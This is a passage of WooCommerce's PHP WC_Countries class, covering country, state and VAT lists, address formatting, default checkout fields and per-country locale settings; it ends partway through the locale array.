Current File : /home/kelaby89/abl.academy/wp-content/plugins/woocommerce/includes/class-wc-countries.php
<?php
/**
 * WooCommerce countries
 *
 * @package WooCommerce\l10n
 * @version 3.3.0
 */

defined( 'ABSPATH' ) || exit;

use Automattic\WooCommerce\Blocks\Utils\CartCheckoutUtils;

/**
 * The WooCommerce countries class stores country/state data.
 */
class WC_Countries {

	/**
	 * Locales list.
	 *
	 * @var array
	 */
	public $locale = array();

	/**
	 * List of address formats for locales.
	 *
	 * @var array
	 */
	public $address_formats = array();

	/**
	 * Cache of geographical regions.
	 *
	 * Only to be used by the get_* and load_* methods, as other methods may expect the regions to be
	 * loaded on demand.
	 *
	 * @var array
	 */
	private $geo_cache = array();

	/**
	 * Auto-load in-accessible properties on demand.
	 *
	 * @param  mixed $key Key.
	 * @return mixed
	 */
	public function __get( $key ) {
		if ( 'countries' === $key ) {
			return $this->get_countries();
		} elseif ( 'states' === $key ) {
			return $this->get_states();
		} elseif ( 'continents' === $key ) {
			return $this->get_continents();
		}
	}

	/**
	 * Get all countries.
	 *
	 * @return array
	 */
	public function get_countries() {
		if ( empty( $this->geo_cache['countries'] ) ) {
			/**
			 * Allows filtering of the list of countries in WC.
			 *
			 * @since 1.5.3
			 *
			 * @param array $countries
			 */
			$this->geo_cache['countries'] = apply_filters( 'woocommerce_countries', include WC()->plugin_path() . '/i18n/countries.php' );
			if ( apply_filters( 'woocommerce_sort_countries', true ) ) {
				wc_asort_by_locale( $this->geo_cache['countries'] );
			}
		}

		return $this->geo_cache['countries'];
	}

	/**
	 * Check if a given code represents a valid ISO 3166-1 alpha-2 code for a country known to us.
	 *
	 * @since 5.1.0
	 * @param string $country_code The country code to check as a ISO 3166-1 alpha-2 code.
	 * @return bool True if the country is known to us, false otherwise.
	 */
	public function country_exists( $country_code ) {
		return isset( $this->get_countries()[ $country_code ] );
	}

	/**
	 * Get all continents.
	 *
	 * @return array
	 */
	public function get_continents() {
		if ( empty( $this->geo_cache['continents'] ) ) {
			/**
			 * Allows filtering of continents in WC.
			 *
			 * @since 2.6.0
			 *
			 * @param array[array] $continents
			 */
			$this->geo_cache['continents'] = apply_filters( 'woocommerce_continents', include WC()->plugin_path() . '/i18n/continents.php' );
		}

		return $this->geo_cache['continents'];
	}

	/**
	 * Get continent code for a country code.
	 *
	 * @since 2.6.0
	 * @param string $cc Country code.
	 * @return string
	 */
	public function get_continent_code_for_country( $cc ) {
		$cc                 = trim( strtoupper( $cc ) );
		$continents         = $this->get_continents();
		$continents_and_ccs = wp_list_pluck( $continents, 'countries' );
		foreach ( $continents_and_ccs as $continent_code => $countries ) {
			if ( false !== array_search( $cc, $countries, true ) ) {
				return $continent_code;
			}
		}

		return '';
	}

	/**
	 * Get calling code for a country code.
	 *
	 * @since 3.6.0
	 * @param string $cc Country code.
	 * @return string|array Some countries have multiple. The code will be stripped of - and spaces and always be prefixed with +.
	 */
	public function get_country_calling_code( $cc ) {
		$codes = wp_cache_get( 'calling-codes', 'countries' );

		if ( ! $codes ) {
			$codes = include WC()->plugin_path() . '/i18n/phone.php';
			wp_cache_set( 'calling-codes', $codes, 'countries' );
		}

		$calling_code = isset( $codes[ $cc ] ) ? $codes[ $cc ] : '';

		if ( is_array( $calling_code ) ) {
			$calling_code = $calling_code[0];
		}

		return $calling_code;
	}

	/**
	 * Get continents that the store ships to.
	 *
	 * @since 3.6.0
	 * @return array
	 */
	public function get_shipping_continents() {
		$continents             = $this->get_continents();
		$shipping_countries     = $this->get_shipping_countries();
		$shipping_country_codes = array_keys( $shipping_countries );
		$shipping_continents    = array();

		foreach ( $continents as $continent_code => $continent ) {
			if ( count( array_intersect( $continent['countries'], $shipping_country_codes ) ) ) {
				$shipping_continents[ $continent_code ] = $continent;
			}
		}

		return $shipping_continents;
	}

	/**
	 * Load the states.
	 *
	 * @deprecated 3.6.0 This method was used to load state files, but is no longer needed. @see get_states().
	 */
	public function load_country_states() {
		global $states;

		$states = include WC()->plugin_path() . '/i18n/states.php';

		/**
		 * Allows filtering of country states in WC.
		 *
		 * @since 1.5.3
		 *
		 * @param array $states
		 */
		$this->geo_cache['states'] = apply_filters( 'woocommerce_states', $states );
	}

	/**
	 * Get the states for a country.
	 *
	 * @param  string $cc Country code.
	 * @return false|array of states
	 */
	public function get_states( $cc = null ) {
		if ( ! isset( $this->geo_cache['states'] ) ) {
			/**
			 * Allows filtering of country states in WC.
			 *
			 * @since 1.5.3
			 *
			 * @param array $states
			 */
			$this->geo_cache['states'] = apply_filters( 'woocommerce_states', include WC()->plugin_path() . '/i18n/states.php' );
		}

		if ( ! is_null( $cc ) ) {
			return isset( $this->geo_cache['states'][ $cc ] ) ? $this->geo_cache['states'][ $cc ] : false;
		} else {
			return $this->geo_cache['states'];
		}
	}

	/**
	 * Get the base address (first line) for the store.
	 *
	 * @since 3.1.1
	 * @return string
	 */
	public function get_base_address() {
		$base_address = get_option( 'woocommerce_store_address', '' );
		return apply_filters( 'woocommerce_countries_base_address', $base_address );
	}

	/**
	 * Get the base address (second line) for the store.
	 *
	 * @since 3.1.1
	 * @return string
	 */
	public function get_base_address_2() {
		$base_address_2 = get_option( 'woocommerce_store_address_2', '' );
		return apply_filters( 'woocommerce_countries_base_address_2', $base_address_2 );
	}

	/**
	 * Get the base country for the store.
	 *
	 * @return string
	 */
	public function get_base_country() {
		$default = wc_get_base_location();
		return apply_filters( 'woocommerce_countries_base_country', $default['country'] );
	}

	/**
	 * Get the base state for the store.
	 *
	 * @return string
	 */
	public function get_base_state() {
		$default = wc_get_base_location();
		return apply_filters( 'woocommerce_countries_base_state', $default['state'] );
	}

	/**
	 * Get the base city for the store.
	 *
	 * @version 3.1.1
	 * @return string
	 */
	public function get_base_city() {
		$base_city = get_option( 'woocommerce_store_city', '' );
		return apply_filters( 'woocommerce_countries_base_city', $base_city );
	}

	/**
	 * Get the base postcode for the store.
	 *
	 * @since 3.1.1
	 * @return string
	 */
	public function get_base_postcode() {
		$base_postcode = get_option( 'woocommerce_store_postcode', '' );
		return apply_filters( 'woocommerce_countries_base_postcode', $base_postcode );
	}

	/**
	 * Get countries that the store sells to.
	 *
	 * @return array
	 */
	public function get_allowed_countries() {
		$countries         = $this->countries;
		$allowed_countries = get_option( 'woocommerce_allowed_countries' );

		if ( 'all_except' === $allowed_countries ) {
			$except_countries = get_option( 'woocommerce_all_except_countries', array() );

			if ( $except_countries ) {
				foreach ( $except_countries as $country ) {
					unset( $countries[ $country ] );
				}
			}
		} elseif ( 'specific' === $allowed_countries ) {
			$countries     = array();
			$raw_countries = get_option( 'woocommerce_specific_allowed_countries', array() );

			if ( $raw_countries ) {
				foreach ( $raw_countries as $country ) {
					$countries[ $country ] = $this->countries[ $country ];
				}
			}
		}

		/**
		 * Filter the list of allowed selling countries.
		 *
		 * @since 3.3.0
		 * @param array $countries
		 */
		return apply_filters( 'woocommerce_countries_allowed_countries', $countries );
	}

	/**
	 * Get countries that the store ships to.
	 *
	 * @return array
	 */
	public function get_shipping_countries() {
		// If shipping is disabled, return an empty array.
		if ( 'disabled' === get_option( 'woocommerce_ship_to_countries' ) ) {
			return array();
		}

		// Default to selling countries.
		$countries = $this->get_allowed_countries();

		// All indicates that all countries are allowed, regardless of where you sell to.
		if ( 'all' === get_option( 'woocommerce_ship_to_countries' ) ) {
			$countries = $this->countries;
		} elseif ( 'specific' === get_option( 'woocommerce_ship_to_countries' ) ) {
			$countries     = array();
			$raw_countries = get_option( 'woocommerce_specific_ship_to_countries', array() );

			if ( $raw_countries ) {
				foreach ( $raw_countries as $country ) {
					$countries[ $country ] = $this->countries[ $country ];
				}
			}
		}

		/**
		 * Filter the list of allowed selling countries.
		 *
		 * @since 3.3.0
		 * @param array $countries
		 */
		return apply_filters( 'woocommerce_countries_shipping_countries', $countries );
	}

	/**
	 * Get allowed country states.
	 *
	 * @return array
	 */
	public function get_allowed_country_states() {
		if ( get_option( 'woocommerce_allowed_countries' ) !== 'specific' ) {
			return $this->states;
		}

		$states = array();

		$raw_countries = get_option( 'woocommerce_specific_allowed_countries' );

		if ( $raw_countries ) {
			foreach ( $raw_countries as $country ) {
				if ( isset( $this->states[ $country ] ) ) {
					$states[ $country ] = $this->states[ $country ];
				}
			}
		}

		return apply_filters( 'woocommerce_countries_allowed_country_states', $states );
	}

	/**
	 * Get shipping country states.
	 *
	 * @return array
	 */
	public function get_shipping_country_states() {
		if ( get_option( 'woocommerce_ship_to_countries' ) === '' ) {
			return $this->get_allowed_country_states();
		}

		if ( get_option( 'woocommerce_ship_to_countries' ) !== 'specific' ) {
			return $this->states;
		}

		$states = array();

		$raw_countries = get_option( 'woocommerce_specific_ship_to_countries' );

		if ( $raw_countries ) {
			foreach ( $raw_countries as $country ) {
				if ( ! empty( $this->states[ $country ] ) ) {
					$states[ $country ] = $this->states[ $country ];
				}
			}
		}

		return apply_filters( 'woocommerce_countries_shipping_country_states', $states );
	}

	/**
	 * Gets an array of countries in the EU.
	 *
	 * @param  string $type Type of countries to retrieve. Blank for EU member countries. eu_vat for EU VAT countries.
	 * @return string[]
	 */
	public function get_european_union_countries( $type = '' ) {
		$countries = array( 'AT', 'BE', 'BG', 'CY', 'CZ', 'DE', 'DK', 'EE', 'ES', 'FI', 'FR', 'GR', 'HR', 'HU', 'IE', 'IT', 'LT', 'LU', 'LV', 'MT', 'NL', 'PL', 'PT', 'RO', 'SE', 'SI', 'SK' );

		if ( 'eu_vat' === $type ) {
			$countries[] = 'MC';
		}

		return apply_filters( 'woocommerce_european_union_countries', $countries, $type );
	}

	/**
	 * Gets an array of Non-EU countries that use VAT as the Local name for their taxes based on this list - https://en.wikipedia.org/wiki/Value-added_tax#Non-European_Union_countries
	 *
	 * @deprecated 4.0.0
	 * @since 3.9.0
	 * @return string[]
	 */
	public function countries_using_vat() {
		wc_deprecated_function( 'countries_using_vat', '4.0', 'WC_Countries::get_vat_countries' );
		$countries = array( 'AE', 'AL', 'AR', 'AZ', 'BB', 'BH', 'BO', 'BS', 'BY', 'CL', 'CO', 'EC', 'EG', 'ET', 'FJ', 'GH', 'GM', 'GT', 'IL', 'IR', 'KN', 'KR', 'KZ', 'LK', 'MD', 'ME', 'MK', 'MN', 'MU', 'MX', 'NA', 'NG', 'NP', 'PS', 'PY', 'RS', 'RU', 'RW', 'SA', 'SV', 'TH', 'TR', 'UA', 'UY', 'UZ', 'VE', 'VN', 'ZA' );

		return apply_filters( 'woocommerce_countries_using_vat', $countries );
	}

	/**
	 * Gets an array of countries using VAT.
	 *
	 * @since 4.0.0
	 * @return string[] of country codes.
	 */
	public function get_vat_countries() {
		$eu_countries  = $this->get_european_union_countries();
		$vat_countries = array( 'AE', 'AL', 'AR', 'AZ', 'BB', 'BH', 'BO', 'BS', 'BY', 'CL', 'CO', 'EC', 'EG', 'ET', 'FJ', 'GB', 'GH', 'GM', 'GT', 'IL', 'IM', 'IR', 'KN', 'KR', 'KZ', 'LK', 'MC', 'MD', 'ME', 'MK', 'MN', 'MU', 'MX', 'NA', 'NG', 'NO', 'NP', 'PS', 'PY', 'RS', 'RU', 'RW', 'SA', 'SV', 'TH', 'TR', 'UA', 'UY', 'UZ', 'VE', 'VN', 'ZA' );

		return apply_filters( 'woocommerce_vat_countries', array_merge( $eu_countries, $vat_countries ) );
	}

	/**
	 * Gets the correct string for shipping - either 'to the' or 'to'.
	 *
	 * @param string $country_code Country code.
	 * @return string
	 */
	public function shipping_to_prefix( $country_code = '' ) {
		$country_code = $country_code ? $country_code : WC()->customer->get_shipping_country();
		$countries    = array( 'AE', 'CZ', 'DO', 'GB', 'NL', 'PH', 'US', 'USAF' );
		$return       = in_array( $country_code, $countries, true ) ? _x( 'to the', 'shipping country prefix', 'woocommerce' ) : _x( 'to', 'shipping country prefix', 'woocommerce' );

		return apply_filters( 'woocommerce_countries_shipping_to_prefix', $return, $country_code );
	}

	/**
	 * Prefix certain countries with 'the'.
	 *
	 * @param string $country_code Country code.
	 * @return string
	 */
	public function estimated_for_prefix( $country_code = '' ) {
		$country_code = $country_code ? $country_code : $this->get_base_country();
		$countries    = array( 'AE', 'CZ', 'DO', 'GB', 'NL', 'PH', 'US', 'USAF' );
		$return       = in_array( $country_code, $countries, true ) ? __( 'the', 'woocommerce' ) . ' ' : '';

		return apply_filters( 'woocommerce_countries_estimated_for_prefix', $return, $country_code );
	}

	/**
	 * Correctly name tax in some countries VAT on the frontend.
	 *
	 * @return string
	 */
	public function tax_or_vat() {
		$return = in_array( $this->get_base_country(), $this->get_vat_countries(), true ) ? __( 'VAT', 'woocommerce' ) : __( 'Tax', 'woocommerce' );

		return apply_filters( 'woocommerce_countries_tax_or_vat', $return );
	}

	/**
	 * Include the Inc Tax label.
	 *
	 * @return string
	 */
	public function inc_tax_or_vat() {
		$return = in_array( $this->get_base_country(), $this->get_vat_countries(), true ) ? __( '(incl. VAT)', 'woocommerce' ) : __( '(incl. tax)', 'woocommerce' );

		return apply_filters( 'woocommerce_countries_inc_tax_or_vat', $return );
	}

	/**
	 * Include the Ex Tax label.
	 *
	 * @return string
	 */
	public function ex_tax_or_vat() {
		$return = in_array( $this->get_base_country(), $this->get_vat_countries(), true ) ? __( '(ex. VAT)', 'woocommerce' ) : __( '(ex. tax)', 'woocommerce' );

		return apply_filters( 'woocommerce_countries_ex_tax_or_vat', $return );
	}

	/**
	 * Outputs the list of countries and states for use in dropdown boxes.
	 *
	 * @param string $selected_country Selected country.
	 * @param string $selected_state   Selected state.
	 * @param bool   $escape           If we should escape HTML.
	 */
	public function country_dropdown_options( $selected_country = '', $selected_state = '', $escape = false ) {
		if ( $this->countries ) {
			foreach ( $this->countries as $key => $value ) {
				$states = $this->get_states( $key );
				if ( $states ) {
					// Maybe default the selected state as the first one.
					if ( $selected_country === $key && '*' === $selected_state ) {
						$selected_state = key( $states ) ?? '*';
					}

					echo '<optgroup label="' . esc_attr( $value ) . '">';
					foreach ( $states as $state_key => $state_value ) {
						echo '<option value="' . esc_attr( $key ) . ':' . esc_attr( $state_key ) . '"';

						if ( $selected_country === $key && $selected_state === $state_key ) {
							echo ' selected="selected"';
						}

						echo '>' . esc_html( $value ) . ' &mdash; ' . ( $escape ? esc_html( $state_value ) : $state_value ) . '</option>'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped

					}
					echo '</optgroup>';
				} else {
					echo '<option';
					if ( $selected_country === $key && '*' === $selected_state ) {
						echo ' selected="selected"';
					}
					echo ' value="' . esc_attr( $key ) . '">' . ( $escape ? esc_html( $value ) : $value ) . '</option>'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
				}
			}
		}
	}

	/**
	 * Get country address formats.
	 *
	 * These define how addresses are formatted for display in various countries.
	 *
	 * @return array
	 */
	public function get_address_formats() {
		if ( empty( $this->address_formats ) ) {
			$this->address_formats = apply_filters(
				'woocommerce_localisation_address_formats',
				array(
					'default' => "{name}\n{company}\n{address_1}\n{address_2}\n{city}\n{state}\n{postcode}\n{country}",
					'AT'      => "{company}\n{name}\n{address_1}\n{address_2}\n{postcode} {city}\n{country}",
					'AU'      => "{name}\n{company}\n{address_1}\n{address_2}\n{city} {state} {postcode}\n{country}",
					'BE'      => "{company}\n{name}\n{address_1}\n{address_2}\n{postcode} {city}\n{country}",
					'CA'      => "{company}\n{name}\n{address_1}\n{address_2}\n{city} {state_code} {postcode}\n{country}",
					'CH'      => "{company}\n{name}\n{address_1}\n{address_2}\n{postcode} {city}\n{country}",
					'CL'      => "{company}\n{name}\n{address_1}\n{address_2}\n{state}\n{postcode} {city}\n{country}",
					'CN'      => "{country} {postcode}\n{state}, {city}, {address_2}, {address_1}\n{company}\n{name}",
					'CZ'      => "{company}\n{name}\n{address_1}\n{address_2}\n{postcode} {city}\n{country}",
					'DE'      => "{company}\n{name}\n{address_1}\n{address_2}\n{postcode} {city}\n{country}",
					'DK'      => "{company}\n{name}\n{address_1}\n{address_2}\n{postcode} {city}\n{country}",
					'EE'      => "{company}\n{name}\n{address_1}\n{address_2}\n{postcode} {city}\n{country}",
					'ES'      => "{name}\n{company}\n{address_1}\n{address_2}\n{postcode} {city}\n{state}\n{country}",
					'FI'      => "{company}\n{name}\n{address_1}\n{address_2}\n{postcode} {city}\n{country}",
					'FR'      => "{company}\n{name}\n{address_1}\n{address_2}\n{postcode} {city_upper}\n{country}",
					'HK'      => "{company}\n{first_name} {last_name_upper}\n{address_1}\n{address_2}\n{city_upper}\n{state_upper}\n{country}",
					'HU'      => "{last_name} {first_name}\n{company}\n{city}\n{address_1}\n{address_2}\n{postcode}\n{country}",
					'IN'      => "{company}\n{name}\n{address_1}\n{address_2}\n{city} {postcode}\n{state}, {country}",
					'IS'      => "{company}\n{name}\n{address_1}\n{address_2}\n{postcode} {city}\n{country}",
					'IT'      => "{company}\n{name}\n{address_1}\n{address_2}\n{postcode}\n{city}\n{state_upper}\n{country}",
					'JM'      => "{name}\n{company}\n{address_1}\n{address_2}\n{city}\n{state}\n{postcode_upper}\n{country}",
					'JP'      => "{postcode}\n{state} {city} {address_1}\n{address_2}\n{company}\n{last_name} {first_name}\n{country}",
					'LI'      => "{company}\n{name}\n{address_1}\n{address_2}\n{postcode} {city}\n{country}",
					'NL'      => "{company}\n{name}\n{address_1}\n{address_2}\n{postcode} {city}\n{country}",
					'NO'      => "{company}\n{name}\n{address_1}\n{address_2}\n{postcode} {city}\n{country}",
					'NZ'      => "{name}\n{company}\n{address_1}\n{address_2}\n{city} {postcode}\n{country}",
					'PL'      => "{company}\n{name}\n{address_1}\n{address_2}\n{postcode} {city}\n{country}",
					'PR'      => "{company}\n{name}\n{address_1} {address_2}\n{city} \n{country} {postcode}",
					'PT'      => "{company}\n{name}\n{address_1}\n{address_2}\n{postcode} {city}\n{country}",
					'RS'      => "{name}\n{company}\n{address_1}\n{address_2}\n{postcode} {city}\n{country}",
					'SE'      => "{company}\n{name}\n{address_1}\n{address_2}\n{postcode} {city}\n{country}",
					'SI'      => "{company}\n{name}\n{address_1}\n{address_2}\n{postcode} {city}\n{country}",
					'SK'      => "{company}\n{name}\n{address_1}\n{address_2}\n{postcode} {city}\n{country}",
					'TR'      => "{name}\n{company}\n{address_1}\n{address_2}\n{postcode} {city} {state}\n{country}",
					'TW'      => "{company}\n{last_name} {first_name}\n{address_1}\n{address_2}\n{state}, {city} {postcode}\n{country}",
					'UG'      => "{name}\n{company}\n{address_1}\n{address_2}\n{city}\n{state}, {country}",
					'US'      => "{name}\n{company}\n{address_1}\n{address_2}\n{city}, {state_code} {postcode}\n{country}",
					'VN'      => "{name}\n{company}\n{address_1}\n{address_2}\n{city} {postcode}\n{country}",
				)
			);
		}
		return $this->address_formats;
	}

	/**
	 * Get country address format.
	 *
	 * @param  array  $args Arguments.
	 * @param  string $separator How to separate address lines. @since 3.5.0.
	 * @return string
	 */
	public function get_formatted_address( $args = array(), $separator = '<br/>' ) {
		$default_args = array(
			'first_name' => '',
			'last_name'  => '',
			'company'    => '',
			'address_1'  => '',
			'address_2'  => '',
			'city'       => '',
			'state'      => '',
			'postcode'   => '',
			'country'    => '',
		);

		$args    = array_map( 'trim', wp_parse_args( $args, $default_args ) );
		$state   = $args['state'];
		$country = $args['country'];

		// Get all formats.
		$formats = $this->get_address_formats();

		// Get format for the address' country.
		$format = ( $country && isset( $formats[ $country ] ) ) ? $formats[ $country ] : $formats['default'];

		// Handle full country name.
		$full_country = ( isset( $this->countries[ $country ] ) ) ? $this->countries[ $country ] : $country;

		// Country is not needed if the same as base.
		if ( $country === $this->get_base_country() && ! apply_filters( 'woocommerce_formatted_address_force_country_display', false ) ) {
			$format = str_replace( '{country}', '', $format );
		}

		// Handle full state name.
		$full_state = ( $country && $state && isset( $this->states[ $country ][ $state ] ) ) ? $this->states[ $country ][ $state ] : $state;

		// Substitute address parts into the string.
		$replace = array_map(
			'esc_html',
			apply_filters(
				'woocommerce_formatted_address_replacements',
				array(
					'{first_name}'       => $args['first_name'],
					'{last_name}'        => $args['last_name'],
					'{name}'             => sprintf(
						/* translators: 1: first name 2: last name */
						_x( '%1$s %2$s', 'full name', 'woocommerce' ),
						$args['first_name'],
						$args['last_name']
					),
					'{company}'          => $args['company'],
					'{address_1}'        => $args['address_1'],
					'{address_2}'        => $args['address_2'],
					'{city}'             => $args['city'],
					'{state}'            => $full_state,
					'{postcode}'         => $args['postcode'],
					'{country}'          => $full_country,
					'{first_name_upper}' => wc_strtoupper( $args['first_name'] ),
					'{last_name_upper}'  => wc_strtoupper( $args['last_name'] ),
					'{name_upper}'       => wc_strtoupper(
						sprintf(
							/* translators: 1: first name 2: last name */
							_x( '%1$s %2$s', 'full name', 'woocommerce' ),
							$args['first_name'],
							$args['last_name']
						)
					),
					'{company_upper}'    => wc_strtoupper( $args['company'] ),
					'{address_1_upper}'  => wc_strtoupper( $args['address_1'] ),
					'{address_2_upper}'  => wc_strtoupper( $args['address_2'] ),
					'{city_upper}'       => wc_strtoupper( $args['city'] ),
					'{state_upper}'      => wc_strtoupper( $full_state ),
					'{state_code}'       => wc_strtoupper( $state ),
					'{postcode_upper}'   => wc_strtoupper( $args['postcode'] ),
					'{country_upper}'    => wc_strtoupper( $full_country ),
				),
				$args
			)
		);

		$formatted_address = str_replace( array_keys( $replace ), $replace, $format );

		// Clean up white space.
		$formatted_address = preg_replace( '/  +/', ' ', trim( $formatted_address ) );
		$formatted_address = preg_replace( '/\n\n+/', "\n", $formatted_address );

		// Break newlines apart and remove empty lines/trim commas and white space.
		$formatted_address = array_filter( array_map( array( $this, 'trim_formatted_address_line' ), explode( "\n", $formatted_address ) ) );

		// Add html breaks.
		$formatted_address = implode( $separator, $formatted_address );

		// We're done!
		return $formatted_address;
	}

	/**
	 * Trim white space and commas off a line.
	 *
	 * @param  string $line Line.
	 * @return string
	 */
	private function trim_formatted_address_line( $line ) {
		return trim( $line, ', ' );
	}

	/**
	 * Returns the fields we show by default. This can be filtered later on.
	 *
	 * @return array
	 */
	public function get_default_address_fields() {
		$address_2_label = __( 'Apartment, suite, unit, etc.', 'woocommerce' );

		// If necessary, append '(optional)' to the placeholder: we don't need to worry about the
		// label, though, as woocommerce_form_field() takes care of that.
		if ( 'optional' === CartCheckoutUtils::get_address_2_field_visibility() ) {
			$address_2_placeholder = __( 'Apartment, suite, unit, etc. (optional)', 'woocommerce' );
		} else {
			$address_2_placeholder = $address_2_label;
		}

		$fields = array(
			'first_name' => array(
				'label'        => __( 'First name', 'woocommerce' ),
				'required'     => true,
				'class'        => array( 'form-row-first' ),
				'autocomplete' => 'given-name',
				'priority'     => 10,
			),
			'last_name'  => array(
				'label'        => __( 'Last name', 'woocommerce' ),
				'required'     => true,
				'class'        => array( 'form-row-last' ),
				'autocomplete' => 'family-name',
				'priority'     => 20,
			),
			'company'    => array(
				'label'        => __( 'Company name', 'woocommerce' ),
				'class'        => array( 'form-row-wide' ),
				'autocomplete' => 'organization',
				'priority'     => 30,
				'required'     => 'required' === CartCheckoutUtils::get_company_field_visibility(),
			),
			'country'    => array(
				'type'         => 'country',
				'label'        => __( 'Country / Region', 'woocommerce' ),
				'required'     => true,
				'class'        => array( 'form-row-wide', 'address-field', 'update_totals_on_change' ),
				'autocomplete' => 'country',
				'priority'     => 40,
			),
			'address_1'  => array(
				'label'        => __( 'Street address', 'woocommerce' ),
				/* translators: use local order of street name and house number. */
				'placeholder'  => esc_attr__( 'House number and street name', 'woocommerce' ),
				'required'     => true,
				'class'        => array( 'form-row-wide', 'address-field' ),
				'autocomplete' => 'address-line1',
				'priority'     => 50,
			),
			'address_2'  => array(
				'label'        => $address_2_label,
				'label_class'  => array( 'screen-reader-text' ),
				'placeholder'  => esc_attr( $address_2_placeholder ),
				'class'        => array( 'form-row-wide', 'address-field' ),
				'autocomplete' => 'address-line2',
				'priority'     => 60,
				'required'     => 'required' === CartCheckoutUtils::get_address_2_field_visibility(),
			),
			'city'       => array(
				'label'        => __( 'Town / City', 'woocommerce' ),
				'required'     => true,
				'class'        => array( 'form-row-wide', 'address-field' ),
				'autocomplete' => 'address-level2',
				'priority'     => 70,
			),
			'state'      => array(
				'type'         => 'state',
				'label'        => __( 'State / County', 'woocommerce' ),
				'required'     => true,
				'class'        => array( 'form-row-wide', 'address-field' ),
				'validate'     => array( 'state' ),
				'autocomplete' => 'address-level1',
				'priority'     => 80,
			),
			'postcode'   => array(
				'label'        => __( 'Postcode / ZIP', 'woocommerce' ),
				'required'     => true,
				'class'        => array( 'form-row-wide', 'address-field' ),
				'validate'     => array( 'postcode' ),
				'autocomplete' => 'postal-code',
				'priority'     => 90,
			),
		);

		if ( 'hidden' === CartCheckoutUtils::get_company_field_visibility() ) {
			unset( $fields['company'] );
		}

		if ( 'hidden' === CartCheckoutUtils::get_address_2_field_visibility() ) {
			unset( $fields['address_2'] );
		}

		$default_address_fields = apply_filters( 'woocommerce_default_address_fields', $fields );
		// Sort each of the fields based on priority.
		uasort( $default_address_fields, 'wc_checkout_fields_uasort_comparison' );

		return $default_address_fields;
	}

	/**
	 * Get JS selectors for fields which are shown/hidden depending on the locale.
	 *
	 * @return array
	 */
	public function get_country_locale_field_selectors() {
		$locale_fields = array(
			'address_1' => '#billing_address_1_field, #shipping_address_1_field',
			'address_2' => '#billing_address_2_field, #shipping_address_2_field',
			'state'     => '#billing_state_field, #shipping_state_field, #calc_shipping_state_field',
			'postcode'  => '#billing_postcode_field, #shipping_postcode_field, #calc_shipping_postcode_field',
			'city'      => '#billing_city_field, #shipping_city_field, #calc_shipping_city_field',
		);
		return apply_filters( 'woocommerce_country_locale_field_selectors', $locale_fields );
	}

	/**
	 * Get country locale settings.
	 *
	 * These locales override the default country selections after a country is chosen.
	 *
	 * @return array
	 */
	public function get_country_locale() {
		if ( empty( $this->locale ) ) {
			$this->locale = apply_filters(
				'woocommerce_get_country_locale',
				array(
					'AE' => array(
						'postcode' => array(
							'required' => false,
							'hidden'   => true,
						),
						'state'    => array(
							'required' => false,
						),
					),
					'AF' => array(
						'state' => array(
							'required' => false,
							'hidden'   => true,
						),
					),
					'AL' => array(
						'state' => array(
							'label' => __( 'County', 'woocommerce' ),
						),
					),
					'AO' => array(
						'postcode' => array(
							'required' => false,
							'hidden'   => true,
						),
						'state'    => array(
							'label' => __( 'Province', 'woocommerce' ),
						),
					),
					'AT' => array(
						'postcode' => array(
							'priority' => 65,
						),
						'state'    => array(
							'required' => false,
							'hidden'   => true,
						),
					),
					'AU' => array(
						'city'     => array(
							'label' => __( 'Suburb', 'woocommerce' ),
						),
						'postcode' => array(
							'label' => __( 'Postcode', 'woocommerce' ),
						),
						'state'    => array(
							'label' => __( 'State', 'woocommerce' ),
						),
					),
					'AX' => array(
						'postcode' => array(
							'priority' => 65,
						),
						'state'    => array(
							'required' => false,
							'hidden'   => true,
						),
					),
					'BA' => array(
						'postcode' => array(
							'priority' => 65,
						),
						'state'    => array(
							'label'    => __( 'Canton', 'woocommerce' ),
							'required' => false,
							'hidden'   => true,
						),
					),
					'BD' => array(
						'postcode' => array(
							'required' => false,
						),
						'state'    => array(
							'label' => __( 'District', 'woocommerce' ),
						),
					),
					'BE' => array(
						'postcode' => array(
							'priority' => 65,
						),
						'state'    => array(
							'required' => false,
							'hidden'   => true,
						),
					),
					'BG' => array(
						'state' => array(
							'required' => false,
						),
					),
					'BH' => array(
						'postcode' => array(
							'required' => false,
						),
						'state'    => array(
							'required' => false,
							'hidden'   => true,
						),
					),
					'BI' => array(
						'state' => array(
							'required' => false,
							'hidden'   => true,
						),
					),
					'BO' => array(
						'postcode' => array(
							'required' => false,
							'hidden'   => true,
						),
						'state'    => array(
							'label' => __( 'Department', 'woocommerce' ),
						),
					),
					'BS' => array(
						'postcode' => array(
							'required' => false,
							'hidden'   => true,
						),
					),
					'BW' => array(
						'postcode' => array(
							'required' => false,
							'hidden'   => true,
						),
						'state'    => array(
							'required' => false,
							'hidden'   => true,
							'label'    => __( 'District', 'woocommerce' ),
						),
					),
					'BZ' => array(
						'postcode' => array(
							'required' => false,
							'hidden'   => true,
						),
						'state'    => array(
							'required' => false,
						),
					),
					'CA' => array(
						'postcode' => array(
							'label' => __( 'Postal code', 'woocommerce' ),
						),
						'state'    => array(
							'label' => __( 'Province', 'woocommerce' ),
						),
					),
					'CH' => array(
						'postcode' => array(
							'priority' => 65,
						),
						'state'    => array(
							'label'    => __( 'Canton', 'woocommerce' ),
							'required' => false,
						),
					),
					'CL' => array(
						'city'     => array(
							'required' => true,
						),
						'postcode' => array(
							'required' => false,
							// Hidden for stores within Chile. @see https://github.com/woocommerce/woocommerce/issues/36546.
							'hidden'   => 'CL' === $this->get_base_country(),
						),
						'state'    => array(
							'label' => __( 'Region', 'woocommerce' ),
						),
					),
					'CN' => array(
						'state' => array(
							'label' => __( 'Province', 'woocommerce' ),
						),
					),
					'CO' => array(
						'postcode' => array(
							'required' => false,
						),
						'state'    => array(
							'label' => __( 'Department', 'woocommerce' ),
						),
					),
					'CR' => array(
						'state' => array(
							'label' => __( 'Province', 'woocommerce' ),
						),
					),
					'CW' => array(
						'postcode' => array(
							'required' => false,
							'hidden'   => true,
						),
						'state'    => array(
							'required' => false,
						),
					),
					'CY' => array(
						'state' => array(
							'required' => false,
							'hidden'   => true,
						),
					),
					'CZ' => array(
						'state' => array(
							'required' => false,
							'hidden'   => true,
						),
					),
					'DE' => array(
						'postcode' => array(
							'priority' => 65,
						),
						'state'    => array(
							'required' => false,
						),
					),
					'DK' => array(
						'postcode' => array(
							'priority' => 65,
						),
						'state'    => array(
							'required' => false,
							'hidden'   => true,
						),
					),
					'DO' => array(
						'state' => array(
							'label' => __( 'Province', 'woocommerce' ),
						),
					),
					'EC' => array(
						'state' => array(
							'label' => __( 'Province', 'woocommerce' ),
						),
					),
					'EE' => array(
						'postcode' => array(
